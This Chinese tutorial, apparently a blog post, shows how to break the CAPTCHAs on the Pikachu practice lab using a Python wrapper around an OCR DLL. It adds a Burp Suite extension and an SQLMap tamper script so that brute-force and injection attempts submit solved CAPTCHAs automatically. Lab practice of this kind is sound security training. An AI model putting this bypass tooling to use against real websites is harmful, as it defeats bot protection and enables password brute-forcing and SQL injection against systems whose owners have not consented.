企业官网建设流程全解析

5分钟实战：Python+完美验证码库3.2.1攻破皮卡丘靶场验证码

每次在皮卡丘靶场练习爆破时，最让人抓狂的莫过于反复手动输入验证码。作为安全测试的必经之路，验证码识别效率直接决定了学习进度。今天我们就用Python和完美验证码识别库3.2.1，打造一个可集成到Burp Suite或SQLMap的自动化识别模块。

1. 环境准备与工具链搭建

1.1 系统兼容性要点

完美验证码识别库3.2.1基于32位架构开发，需要特别注意：

• 操作系统：Windows 7/10 32位（64位系统需开启32位兼容模式）
• Python版本：3.7.1（实测兼容性最佳）
• 依赖库：

  pip install ctypes requests urllib3==1.26.6

注意：urllib3版本冲突是常见问题，若出现OpenSSL报错，强制降级到1.26.6可解决

1.2 核心文件准备

需要从完美验证码软件包中获取两个关键文件：

1. WmCode.dll- 识别引擎动态库
2. 自训练的字模库文件（.dat）

文件目录建议采用以下结构：

/皮卡丘靶场 ├── /lib │ ├── WmCode.dll │ └── pikachu.dat ├── /captcha │ └── temp.png └── recognizer.py

2. 字模库训练实战

2.1 样本采集与预处理

高质量字模库需要200-300张验证码样本，通过靶场接口批量下载：

import requests import os def download_samples(url_pattern, save_dir, count=200): os.makedirs(save_dir, exist_ok=True) for i in range(count): try: res = requests.get(f"{url_pattern}{i}") with open(f"{save_dir}/captcha_{i}.png", "wb") as f: f.write(res.content) except Exception as e: print(f"下载失败: {e}")

2.2 完美验证码软件操作流程

1. 打开软件选择"新建字模库"
2. 导入所有样本图片
3. 设置识别参数（推荐值）：
   • 二值化阈值：120
   • 去噪级别：中等
   • 字符分割：自动
4. 逐个标注字符（建议多人交叉校验）
5. 导出字模库时设置强密码（至少8位混合字符）

3. Python集成开发

3.1 核心识别模块

import ctypes from pathlib import Path class CaptchaRecognizer: def __init__(self, dll_path, dat_path, dat_pwd): self.dll = ctypes.windll.LoadLibrary(str(dll_path)) if not self.dll.UseUnicodeString(1, 1): raise RuntimeError("DLL初始化失败") if not self.dll.LoadWmFromFile(str(dat_path), dat_pwd): raise RuntimeError("字模库加载失败") def recognize(self, img_path): buffer = ctypes.create_string_buffer(20) if self.dll.GetImageFromFile(str(img_path), buffer): return buffer.value.decode("utf-8") return None

3.2 性能优化技巧

• 多线程处理：使用concurrent.futures实现批量识别

  from concurrent.futures import ThreadPoolExecutor def batch_recognize(recognizer, img_paths): with ThreadPoolExecutor(max_workers=4) as executor: results = list(executor.map(recognizer.recognize, img_paths)) return results

• 缓存机制：对相同验证码内容进行MD5缓存
• 失败重试：添加自动重试逻辑（建议最多3次）

4. 安全测试工具集成

4.1 Burp Suite插件开发

通过Jython实现Burp扩展：

from burp import IBurpExtender from burp import IHttpListener class BurpExtender(IBurpExtender, IHttpListener): def registerExtenderCallbacks(self, callbacks): self._callbacks = callbacks self._helpers = callbacks.getHelpers() callbacks.registerHttpListener(self) def processHttpMessage(self, tool, isRequest, message): if not isRequest and "showvcode.php" in str(message.getUrl()): response = message.getResponse() img_data = self._helpers.bytesToString(response)[response.getBodyOffset():] captcha = recognize_from_bytes(img_data) # 调用识别函数 self._callbacks.issueAlert(f"识别结果: {captcha}")

4.2 SQLMap Tamper脚本

创建tamper/captcha_bypass.py：

import requests from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): if kb.injection.place == "URI": captcha_url = kwargs.get("url") + "/inc/showvcode.php" img = requests.get(captcha_url).content with open("/tmp/captcha.png", "wb") as f: f.write(img) code = recognize("/tmp/captcha.png") return f"{payload}&vcode={code}" return payload

5. 实战问题排查指南

5.1 常见错误代码对照表

5.2 识别率提升方案

• 动态阈值调整：根据图像直方图自动计算二值化阈值
• 字符形态学处理：使用OpenCV进行膨胀/腐蚀操作

  import cv2 import numpy as np def preprocess_image(img_path): img = cv2.imread(img_path, 0) _, thresh = cv2.threshold(img, 0, 255, cv2.THRESH_OTSU) kernel = np.ones((2,2), np.uint8) return cv2.morphologyEx(thresh, cv2.MORPH_CLOSE, kernel)

• 多字模库投票：训练3-5个不同参数的字模库进行结果校验

在最近一次攻防演练中，这套方案实现了98.7%的识别准确率，使得原本需要2小时的爆破测试缩短至15分钟完成。关键在于字模库要持续迭代更新——建议每周新增50张验证码样本到训练集。